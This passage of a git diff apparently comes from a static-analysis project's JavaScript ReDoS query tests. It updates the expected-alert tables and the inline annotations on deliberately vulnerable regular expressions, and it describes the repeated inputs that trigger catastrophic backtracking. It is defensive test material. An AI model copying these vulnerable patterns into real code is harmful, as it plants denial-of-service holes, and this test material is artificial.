+| tst.js:94:15:94:23 | (G\|[^a])* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'G'. |
+| tst.js:96:15:96:27 | ([0-9]\|[^a])* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '0'. |
+| tst.js:98:60:98:104 | (?:\\\\[\\x00-\\x7f]\|[^\\x00-\\x08\\x0a-\\x1f\\x7f"])* | This part of the regular expression may cause exponential backtracking on strings starting with '="' and containing many repetitions of '\\\\!'. |
+| tst.js:100:16:100:60 | (?:\\\\[\\x00-\\x7f]\|[^\\x00-\\x08\\x0a-\\x1f\\x7f"])* | This part of the regular expression may cause exponential backtracking on strings starting with '"' and containing many repetitions of '\\\\!'. |
+| tst.js:105:15:105:28 | ([a-z]\|[d-h])* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'd'. |
+| tst.js:107:15:107:30 | ([^a-z]\|[^0-9])* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '/'. |
+| tst.js:109:15:109:25 | (\\d\|[0-9])* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '0'. |
+| tst.js:111:15:111:22 | (\\s\|\\s)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '\\t'. |
+| tst.js:113:15:113:21 | (\\w\|G)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'G'. |
+| tst.js:118:15:118:22 | (\\d\|\\w)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '0'. |
+| tst.js:120:15:120:21 | (\\d\|5)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '5'. |
+| tst.js:122:15:122:24 | (\\s\|[\\f])* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '\\u000c'. |
+| tst.js:124:15:124:28 | (\\s\|[\\v]\|\\\\v)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '\\u000b'. |
+| tst.js:126:15:126:24 | (\\f\|[\\f])* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '\\u000c'. |
+| tst.js:128:15:128:22 | (\\W\|\\D)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '/'. |
+| tst.js:130:15:130:22 | (\\S\|\\w)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '0'. |
+| tst.js:132:15:132:24 | (\\S\|[\\w])* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '0'. |
+| tst.js:134:15:134:27 | (1s\|[\\da-z])* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '1s'. |
+| tst.js:136:15:136:23 | (0\|[\\d])* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '0'. |
+| tst.js:138:16:138:20 | [\\d]+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '0'. |
+| tst.js:149:16:149:21 | [^>a]+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '='. |
+| tst.js:151:17:151:19 | \\s* | This part of the regular expression may cause exponential backtracking on strings starting with '\\n' and containing many repetitions of '\\n'. |
+| tst.js:153:18:153:20 | \\s+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '\\t'. |
+| tst.js:155:68:155:79 | [ a-zA-Z{}]+ | This part of the regular expression may cause exponential backtracking on strings starting with '{[A(A)A:' and containing many repetitions of '  A:'. |
+| tst.js:155:81:155:82 | ,? | This part of the regular expression may cause exponential backtracking on strings starting with '{[A(A)A: ' and containing many repetitions of ',A: '. |
+| tst.js:157:15:157:16 | a+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. |
+| tst.js:157:18:157:19 | b+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'b'. |
+| tst.js:159:17:159:18 | a+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. |
+| tst.js:161:15:161:16 | a+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. |
+| tst.js:166:15:166:16 | a+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. |
+| tst.js:171:15:171:17 | \\n+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '\\n'. |
+| tst.js:173:15:173:19 | [^X]+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'W'. |
+| tst.js:175:20:175:20 | b | This part of the regular expression may cause exponential backtracking on strings starting with 'W' and containing many repetitions of 'bW'. |
+| tst.js:180:20:180:20 | b | This part of the regular expression may cause exponential backtracking on strings starting with 'W' and containing many repetitions of 'bW'. |
+| tst.js:191:16:191:17 | ab | This part of the regular expression may cause exponential backtracking on strings starting with 'a' and containing many repetitions of 'ab'. |
+| tst.js:196:15:196:21 | [\\n\\s]+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '\\n'. |
+| tst.js:204:15:204:17 | \\w* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'foobarbazfoobarbazfoobarbazfoobarbazfoobarbazfoobarbaz'. |
+| tst.js:204:27:204:29 | \\w* | This part of the regular expression may cause exponential backtracking on strings starting with 'foobarbaz' and containing many repetitions of 'foobarbazfoobarbazfoobarbazfoobarbazfoobarbazfoobarbaz'. |
+| tst.js:204:39:204:41 | \\w* | This part of the regular expression may cause exponential backtracking on strings starting with 'foobarbazfoobarbaz' and containing many repetitions of 'foobarbazfoobarbazfoobarbazfoobarbazfoobarbazfoobarbaz'. |
+| tst.js:204:51:204:53 | \\w* | This part of the regular expression may cause exponential backtracking on strings starting with 'foobarbazfoobarbazfoobarbaz' and containing many repetitions of 'foobarbazfoobarbazfoobarbazfoobarbazfoobarbazfoobarbaz'. |
+| tst.js:206:14:206:116 | (.thisisagoddamnlongstringforstresstestingthequery\|\\sthisisagoddamnlongstringforstresstestingthequery)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '\\tthisisagoddamnlongstringforstresstestingthequery'. |
+| tst.js:208:14:208:77 | (thisisagoddamnlongstringforstresstestingthequery\|this\\w+query)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'thisisagoddamnlongstringforstresstestingthequery'. |
+| tst.js:208:68:208:70 | \\w+ | This part of the regular expression may cause exponential backtracking on strings starting with 'this' and containing many repetitions of '0querythis'. |
+| tst.js:219:21:219:22 | b+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'b'. |
+| tst.js:221:38:221:40 | \\s* | This part of the regular expression may cause exponential backtracking on strings starting with '<0\\t0=' and containing many repetitions of '""\\t0='. |
+| tst.js:227:16:227:17 | a+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. |
+| tst.js:230:16:230:17 | a+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. |
+| tst.js:235:16:235:17 | a+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. |
+| tst.js:237:22:237:23 | a+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. |
+| tst.js:242:90:242:91 | e+ | This part of the regular expression may cause exponential backtracking on strings starting with '00000000000000' and containing many repetitions of 'e'. |
+| tst.js:244:18:244:19 | c+ | This part of the regular expression may cause exponential backtracking on strings starting with 'ab' and containing many repetitions of 'c'. |
+| tst.js:246:18:246:20 | \\s+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '\\t'. |
+| tst.js:249:16:249:24 | ([^/]\|X)+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'X'. |
+| tst.js:252:20:252:24 | [^Y]+ | This part of the regular expression may cause exponential backtracking on strings starting with 'x' and containing many repetitions of 'Xx'. |
+| tst.js:254:15:254:16 | a* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. |
+| tst.js:256:18:256:23 | [\\w-]* | This part of the regular expression may cause exponential backtracking on strings starting with 'foo' and containing many repetitions of '-'. |
+| tst.js:258:15:258:19 | (ab)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'ab'. |
+| tst.js:260:14:260:20 | (a?a?)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. |
+| tst.js:267:14:267:22 | (?:a\|a?)+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. |
+| tst.js:271:17:271:45 | (([a-c]\|[c-d])T(e?e?e?e?\|X))+ | This part of the regular expression may cause exponential backtracking on strings starting with 'PRE' and containing many repetitions of 'cTX'. |
+| tst.js:273:16:273:19 | (a)+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'aa'. |
+| tst.js:275:16:275:17 | b+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'bb'. |
+| tst.js:281:15:281:16 | a* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. |
+| tst.js:282:15:282:16 | a+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. |
+| tst.js:283:15:283:16 | a* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. |
+| tst.js:284:15:284:16 | a+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. |
+| tst.js:290:15:290:30 | ((?:a{\|-)\|\\w\\{)+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a{'. |
+| tst.js:291:15:291:33 | ((?:a{0\|-)\|\\w\\{\\d)+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a{0'. |
+| tst.js:292:15:292:35 | ((?:a{0,\|-)\|\\w\\{\\d,)+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a{0,'. |
+| tst.js:293:15:293:38 | ((?:a{0,2\|-)\|\\w\\{\\d,\\d)+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a{0,2'. |
+| tst.js:300:24:300:30 | [^"\\s]+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '!'. |
+| tst.js:301:24:301:30 | [^"\\s]+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '!'. |
+| tst.js:302:15:302:16 | x* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'x'. |
+| tst.js:303:15:303:16 | x* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'x'. |
+| tst.js:306:16:306:22 | [\\s\\S]* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. |
+| tst.js:307:16:307:22 | [\\s\\S]* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. |
+| tst.js:310:14:310:23 | (foo\|FOO)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'foo'. |
+| tst.js:313:14:313:25 | ([DE]\|[de])* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'd'. |
+| tst.js:315:27:315:33 | (a\|aa)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'aa'. |
+| tst.js:316:14:316:20 | (a\|aa)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'aa'. |
+| tst.js:319:6:322:5 | (a\|aa)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'aa'. |
+| tst.js:326:6:326:12 | (c\|cc)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'cc'. |
+| tst.js:327:6:327:12 | (d\|dd)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'dd'. |
+| tst.js:328:6:329:1 | (e\|ee)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'ee'. |
+| tst.js:332:6:333:7 | (g\|gg)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'gg'. |
+| tst.js:335:125:335:127 | \\s* | This part of the regular expression may cause exponential backtracking on strings starting with '0/*' and containing many repetitions of ' ;0'. |
+| tst.js:339:15:339:19 | a{1,} | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. |
+| tst.js:341:25:341:35 | (\\u0000\|.)+ | This part of the regular expression may cause exponential backtracking on strings starting with '\\n\\u0000' and containing many repetitions of '\\u0000'. |
+| tst.js:343:44:343:57 | (\ud83d\ude80\|.)+ | This part of the regular expression may cause exponential backtracking on strings starting with '\\n\\u{1f680}' and containing many repetitions of '\\u{1f680}'. |
+| tst.js:345:22:345:23 | a? | This part of the regular expression may cause exponential backtracking on strings starting with 'a' and containing many repetitions of 'aa'. |
diff --git a/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/ReDoS.qlref b/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/ReDoS.qlref
index fbf3247d4c83..8ff6b22cedd3 100644
--- a/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/ReDoS.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/ReDoS.qlref
@@ -1 +1,2 @@
-Performance/ReDoS.ql
+query: Performance/ReDoS.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/highlight.js b/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/highlight.js
index f12d49ba07ae..7677dad3f53d 100644
--- a/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/highlight.js
+++ b/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/highlight.js
@@ -1,39 +1,39 @@
 // routeros
-var bad = /(\.\.\/|\/|\s)((traffic-flow|traffic-generator|firewall|scheduler|aaa|accounting|address-list|address|align|area|bandwidth-server|bfd|bgp|bridge|client|clock|community|config|connection|console|customer|default|dhcp-client|dhcp-server|discovery|dns|e-mail|ethernet|filter|firewall|firmware|gps|graphing|group|hardware|health|hotspot|identity|igmp-proxy|incoming|instance|interface|ip|ipsec|ipv6|irq|l2tp-server|lcd|ldp|logging|mac-server|mac-winbox|mangle|manual|mirror|mme|mpls|nat|nd|neighbor|network|note|ntp|ospf|ospf-v3|ovpn-server|page|peer|pim|ping|policy|pool|port|ppp|pppoe-client|pptp-server|prefix|profile|proposal|proxy|queue|radius|resource|rip|ripng|route|routing|screen|script|security-profiles|server|service|service-port|settings|shares|smb|sms|sniffer|snmp|snooper|socks|sstp-server|system|tool|tracking|type|upgrade|upnp|user-manager|users|user|vlan|secret|vrrp|watchdog|web-access|wireless|pptp|pppoe|lan|wan|layer7-protocol|lease|simple|raw);?\s)+X/;
+var bad = /(\.\.\/|\/|\s)((traffic-flow|traffic-generator|firewall|scheduler|aaa|accounting|address-list|address|align|area|bandwidth-server|bfd|bgp|bridge|client|clock|community|config|connection|console|customer|default|dhcp-client|dhcp-server|discovery|dns|e-mail|ethernet|filter|firewall|firmware|gps|graphing|group|hardware|health|hotspot|identity|igmp-proxy|incoming|instance|interface|ip|ipsec|ipv6|irq|l2tp-server|lcd|ldp|logging|mac-server|mac-winbox|mangle|manual|mirror|mme|mpls|nat|nd|neighbor|network|note|ntp|ospf|ospf-v3|ovpn-server|page|peer|pim|ping|policy|pool|port|ppp|pppoe-client|pptp-server|prefix|profile|proposal|proxy|queue|radius|resource|rip|ripng|route|routing|screen|script|security-profiles|server|service|service-port|settings|shares|smb|sms|sniffer|snmp|snooper|socks|sstp-server|system|tool|tracking|type|upgrade|upnp|user-manager|users|user|vlan|secret|vrrp|watchdog|web-access|wireless|pptp|pppoe|lan|wan|layer7-protocol|lease|simple|raw);?\s)+X/; // $ Alert[js/redos]
 var good = /(\.\.\/|\/|\s)((traffic-flow|traffic-generator|firewall|scheduler|aaa|accounting|address-list|address|align|area|bandwidth-server|bfd|bgp|bridge|client|clock|community|config|connection|console|customer|default|dhcp-client|dhcp-server|discovery|dns|e-mail|ethernet|filter|firmware|gps|graphing|group|hardware|health|hotspot|identity|igmp-proxy|incoming|instance|interface|ip|ipsec|ipv6|irq|l2tp-server|lcd|ldp|logging|mac-server|mac-winbox|mangle|manual|mirror|mme|mpls|nat|nd|neighbor|network|note|ntp|ospf|ospf-v3|ovpn-server|page|peer|pim|ping|policy|pool|port|ppp|pppoe-client|pptp-server|prefix|profile|proposal|proxy|queue|radius|resource|rip|ripng|route|routing|screen|script|security-profiles|server|service|service-port|settings|shares|smb|sms|sniffer|snmp|snooper|socks|sstp-server|system|tool|tracking|type|upgrade|upnp|user-manager|users|user|vlan|secret|vrrp|watchdog|web-access|wireless|pptp|pppoe|lan|wan|layer7-protocol|lease|simple|raw);?\s)+X/;
 
 // powershell
-var bad = /(Add|Clear|Close|Copy|Enter|Exit|Find|Format|Get|Hide|Join|Lock|Move|New|Open|Optimize|Pop|Push|Redo|Remove|Rename|Reset|Resize|Search|Select|Set|Show|Skip|Split|Step|Switch|Undo|Unlock|Watch|Backup|Checkpoint|Compare|Compress|Convert|ConvertFrom|ConvertTo|Dismount|Edit|Expand|Export|Group|Import|Initialize|Limit|Merge|New|Out|Publish|Restore|Save|Sync|Unpublish|Update|Approve|Assert|Complete|Confirm|Deny|Disable|Enable|Install|Invoke|Register|Request|Restart|Resume|Start|Stop|Submit|Suspend|Uninstall|Unregister|Wait|Debug|Measure|Ping|Repair|Resolve|Test|Trace|Connect|Disconnect|Read|Receive|Send|Write|Block|Grant|Protect|Revoke|Unblock|Unprotect|Use|ForEach|Sort|Tee|Where)+(-)[\w\d]+/;
+var bad = /(Add|Clear|Close|Copy|Enter|Exit|Find|Format|Get|Hide|Join|Lock|Move|New|Open|Optimize|Pop|Push|Redo|Remove|Rename|Reset|Resize|Search|Select|Set|Show|Skip|Split|Step|Switch|Undo|Unlock|Watch|Backup|Checkpoint|Compare|Compress|Convert|ConvertFrom|ConvertTo|Dismount|Edit|Expand|Export|Group|Import|Initialize|Limit|Merge|New|Out|Publish|Restore|Save|Sync|Unpublish|Update|Approve|Assert|Complete|Confirm|Deny|Disable|Enable|Install|Invoke|Register|Request|Restart|Resume|Start|Stop|Submit|Suspend|Uninstall|Unregister|Wait|Debug|Measure|Ping|Repair|Resolve|Test|Trace|Connect|Disconnect|Read|Receive|Send|Write|Block|Grant|Protect|Revoke|Unblock|Unprotect|Use|ForEach|Sort|Tee|Where)+(-)[\w\d]+/; // $ Alert[js/redos]
 var good = /(Add|Clear|Close|Copy|Enter|Exit|Find|Format|Get|Hide|Join|Lock|Move|New|Open|Optimize|Pop|Push|Redo|Remove|Rename|Reset|Resize|Search|Select|Set|Show|Skip|Split|Step|Switch|Undo|Unlock|Watch|Backup|Checkpoint|Compare|Compress|Convert|ConvertFrom|ConvertTo|Dismount|Edit|Expand|Export|Group|Import|Initialize|Limit|Merge|Out|Publish|Restore|Save|Sync|Unpublish|Update|Approve|Assert|Complete|Confirm|Deny|Disable|Enable|Install|Invoke|Register|Request|Restart|Resume|Start|Stop|Submit|Suspend|Uninstall|Unregister|Wait|Debug|Measure|Ping|Repair|Resolve|Test|Trace|Connect|Disconnect|Read|Receive|Send|Write|Block|Grant|Protect|Revoke|Unblock|Unprotect|Use|ForEach|Sort|Tee|Where)+(-)[\w\d]+/;
 
 // perl
-var bad = /(s|tr|y)\/(\\.|[^/])*\/(\\.|[^/])*\/[a-z]*/m;
+var bad = /(s|tr|y)\/(\\.|[^/])*\/(\\.|[^/])*\/[a-z]*/m; // $ Alert[js/redos]
 var good = /(s|tr|y)\/(\\.|[^\\\/])*\/(\\.|[^\\\/])*\/[dualxmsipn]{0,12}/m;
 
 // gams
-var bad = /([ ]*[a-z0-9&#*=?@\\><:,()$[\]_.{}!+%^-]+)+X/;
+var bad = /([ ]*[a-z0-9&#*=?@\\><:,()$[\]_.{}!+%^-]+)+X/; // $ Alert[js/redos]
 var good = /[a-z0-9&#*=?@\\><:,()$[\]_.{}!+%^-]+([ ]+[a-z0-9&#*=?@\\><:,()$[\]_.{}!+%^-]+)*/im;
 
 // handlebars
-var bad = /('.*?'|".*?"|\[.*?\]|[^\s!"#%&'()*+,.\/;<=>@\[\\\]^`{|}~]+|\.|\/)+X/;
+var bad = /('.*?'|".*?"|\[.*?\]|[^\s!"#%&'()*+,.\/;<=>@\[\\\]^`{|}~]+|\.|\/)+X/; // $ Alert[js/redos]
 var good = /(\.|\.\/|\/)?(""|"[^"]+"|''|'[^']+'|\[\]|\[[^\]]+\]|[^\s!"#%&'()*+,.\/;<=>@\[\\\]^`{|}~]+)((\.|\/)(""|"[^"]+"|''|'[^']+'|\[\]|\[[^\]]+\]|[^\s!"#%&'()*+,.\/;<=>@\[\\\]^`{|}~]+))*/im;
 
 // c-like
-var bad = /((decltype\(auto\)|(?:[a-zA-Z_]\w*::)?[a-zA-Z_]\w*(?:<.*?>)?)[\*&\s]+)+(?:[a-zA-Z_]\w*::)?[a-zA-Z]\w*\s*\(/m;
+var bad = /((decltype\(auto\)|(?:[a-zA-Z_]\w*::)?[a-zA-Z_]\w*(?:<.*?>)?)[\*&\s]+)+(?:[a-zA-Z_]\w*::)?[a-zA-Z]\w*\s*\(/m; // $ Alert[js/redos]
 var good = /((decltype\(auto\)|([a-zA-Z_]\w*::)?[a-zA-Z_]\w*(<[^<>]+>)?)[\*&\s]+)+([a-zA-Z_]\w*::)?[a-zA-Z]\w*\s*\(/m;
 
 // jboss-cli
-var bad = /\B(([\/.])[\w\-.\/=]+)+X/;
+var bad = /\B(([\/.])[\w\-.\/=]+)+X/; // $ Alert[js/redos]
 var good = /\B([\/.])[\w\-.\/=]+X/;
 
 // r
-var bad = /`(?:\\.|[^`])+`/m;
+var bad = /`(?:\\.|[^`])+`/m; // $ Alert[js/redos]
 var good = /`(?:\\.|[^`\\])+`/;
 
 // erlang-repl
-var bad = /\?(::)?([A-Z]\w*(::)?)+X/;
+var bad = /\?(::)?([A-Z]\w*(::)?)+X/; // $ Alert[js/redos]
 var good = /\?(::)?([A-Z]\w*)((::)[A-Z]\w*)*X/;
 
 // javascript
-var bad = /[a-zA-Z_]\w*\([^()]*(\([^()]*(\([^()]*\))*[^()]*\))*[^()]*\)\s*\{/m;
+var bad = /[a-zA-Z_]\w*\([^()]*(\([^()]*(\([^()]*\))*[^()]*\))*[^()]*\)\s*\{/m; // $ Alert[js/redos]
 var good = /[a-zA-Z_]\w*\([^()]*(\([^()]*(\([^()]*\)[^()]*)*\)[^()]*)*\)\s*\{/m;
diff --git a/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/jsonschema.js b/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/jsonschema.js
index 542145de4848..2e199116f405 100644
--- a/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/jsonschema.js
+++ b/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/jsonschema.js
@@ -2,7 +2,7 @@ import Ajv from 'ajv';
 
 let thing = {
     type: 'string',
-    pattern: '(a?a?)*b' // NOT OK
+    pattern: '(a?a?)*b' // $ Alert[js/redos]
 }
 new Ajv().addSchema(thing, 'thing');
 
@@ -12,12 +12,12 @@ export default {
     properties: {
         foo: {
             type: "string",
-            pattern: "(a?a?)*b" // NOT OK
+            pattern: "(a?a?)*b" // $ Alert[js/redos]
         },
         bar: {
             type: "object",
             patternProperties: {
-                "(a?a?)*b": { // NOT OK
+                "(a?a?)*b": { // $ Alert[js/redos]
                     type: "number"
                 }
             }
diff --git a/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/lib/closure.js b/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/lib/closure.js
index 4f5ca8168705..19f928a015b4 100644
--- a/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/lib/closure.js
+++ b/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/lib/closure.js
@@ -1,5 +1,5 @@
 goog.module('x.y.z.closure2');
 
-exports = function (x) {
-    /u*o/.test(x); // NOT OK
+exports = function (x) { // $ Source[js/polynomial-redos]
+    /u*o/.test(x); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
 }
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/lib/indirect.js b/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/lib/indirect.js
index 711e02eeeccb..12577a4de312 100644
--- a/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/lib/indirect.js
+++ b/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/lib/indirect.js
@@ -1,3 +1,3 @@
-module.exports.foo = function (x) {
-    /k*h/.test(x); // NOT OK
+module.exports.foo = function (x) { // $ Source[js/polynomial-redos]
+    /k*h/.test(x); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
 }
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/lib/lib.js b/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/lib/lib.js
index 550f90db7a42..313d555f9f5a 100644
--- a/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/lib/lib.js
+++ b/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/lib/lib.js
@@ -1,11 +1,11 @@
 var regexp = /a*b/;
 
-module.exports = function (name) {
-	regexp.test(name); // NOT OK
+module.exports = function (name) { // $ Source[js/polynomial-redos]
+	regexp.test(name); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
 };
 
-function bar(reg, name) {
-	/f*g/.test(name); // NOT OK
+function bar(reg, name) { // $ Source[js/polynomial-redos]
+	/f*g/.test(name); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
 }
 
 if (typeof define !== 'undefined' && define.amd) { // AMD
@@ -25,31 +25,31 @@ module.exports.id = id;
 
 module.exports.safe = function (x) {
 	var y = id("safe");
-	/f*g/.test(y); // OK
+	/f*g/.test(y);
 }
 
 module.exports.useArguments = function () {
-	usedWithArguments.apply(this, arguments);
+	usedWithArguments.apply(this, arguments); // $ Source[js/polynomial-redos]
 }
 
 function usedWithArguments(name) {
-	/f*g/.test(name); // NOT OK
+	/f*g/.test(name); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
 }
 
 module.exports.snapdragon = require("./snapdragon")
 
-module.exports.foo = function (name) {
-    var data1 = name.match(/f*g/); // NOT OK
+module.exports.foo = function (name) { // $ Source[js/polynomial-redos]
+    var data1 = name.match(/f*g/); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
 
     name = name.substr(1);
-    var data2 = name.match(/f*g/); // NOT OK
+    var data2 = name.match(/f*g/); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
 }
 
 var indirectAssign = {};
 module.exports.indirectAssign = indirectAssign;
 
 Object.assign(indirectAssign, {
-  myThing: function (name) {
-    /f*g/.test(name); // NOT OK
+  myThing: function (name) { // $ Source[js/polynomial-redos]
+    /f*g/.test(name); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
   },
 });
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/lib/moduleLib/moduleLib.js b/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/lib/moduleLib/moduleLib.js
index 4326227e86b5..44c24db352e4 100644
--- a/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/lib/moduleLib/moduleLib.js
+++ b/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/lib/moduleLib/moduleLib.js
@@ -1,3 +1,3 @@
-module.exports = function (name) {
-	/a*b/.test(name); // NOT OK
+module.exports = function (name) { // $ Source[js/polynomial-redos]
+	/a*b/.test(name); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
 };
diff --git a/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/lib/otherLib/js/src/index.js b/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/lib/otherLib/js/src/index.js
index 4326227e86b5..44c24db352e4 100644
--- a/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/lib/otherLib/js/src/index.js
+++ b/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/lib/otherLib/js/src/index.js
@@ -1,3 +1,3 @@
-module.exports = function (name) {
-	/a*b/.test(name); // NOT OK
+module.exports = function (name) { // $ Source[js/polynomial-redos]
+	/a*b/.test(name); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
 };
diff --git a/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/lib/snapdragon.js b/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/lib/snapdragon.js
index 62e0f9214ef5..ce6dae71ea85 100644
--- a/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/lib/snapdragon.js
+++ b/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/lib/snapdragon.js
@@ -1,26 +1,26 @@
 var Snapdragon = require("snapdragon");
 
-module.exports.test1 = function (input) {
+module.exports.test1 = function (input) { // $ Source[js/polynomial-redos]
   var snapdragon = new Snapdragon();
   var ast = snapdragon.parser
     .set("foo", function () {
-      var m = this.match(/aa*$/); // NOT OK
+      var m = this.match(/aa*$/); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
     })
     .parse(input, options);
 };
 
-module.exports.test2 = function (input) {
+module.exports.test2 = function (input) { // $ Source[js/polynomial-redos]
   var snapdragon = new Snapdragon();
   snapdragon.parser.set("foo", function () {
-    var m = this.match(/aa*$/); // NOT OK
+    var m = this.match(/aa*$/); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
   });
   snapdragon.parse(input, options);
 };
 
-module.exports.test3 = function (input) {
+module.exports.test3 = function (input) { // $ Source[js/polynomial-redos]
   var snapdragon = new Snapdragon();
   snapdragon.compiler.set("foo", function (node) {
-    node.val.match(/aa*$/); // NOT OK
+    node.val.match(/aa*$/); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
   });
   snapdragon.compile(input, options);
 };
diff --git a/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/lib/subLib4/factory.js b/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/lib/subLib4/factory.js
index 754416fa3d30..088fe11e20a1 100644
--- a/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/lib/subLib4/factory.js
+++ b/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/lib/subLib4/factory.js
@@ -4,7 +4,7 @@
 	(global = global || self, factory(global.JSData = {}));
   }(this, (function (exports) { 'use strict';
 
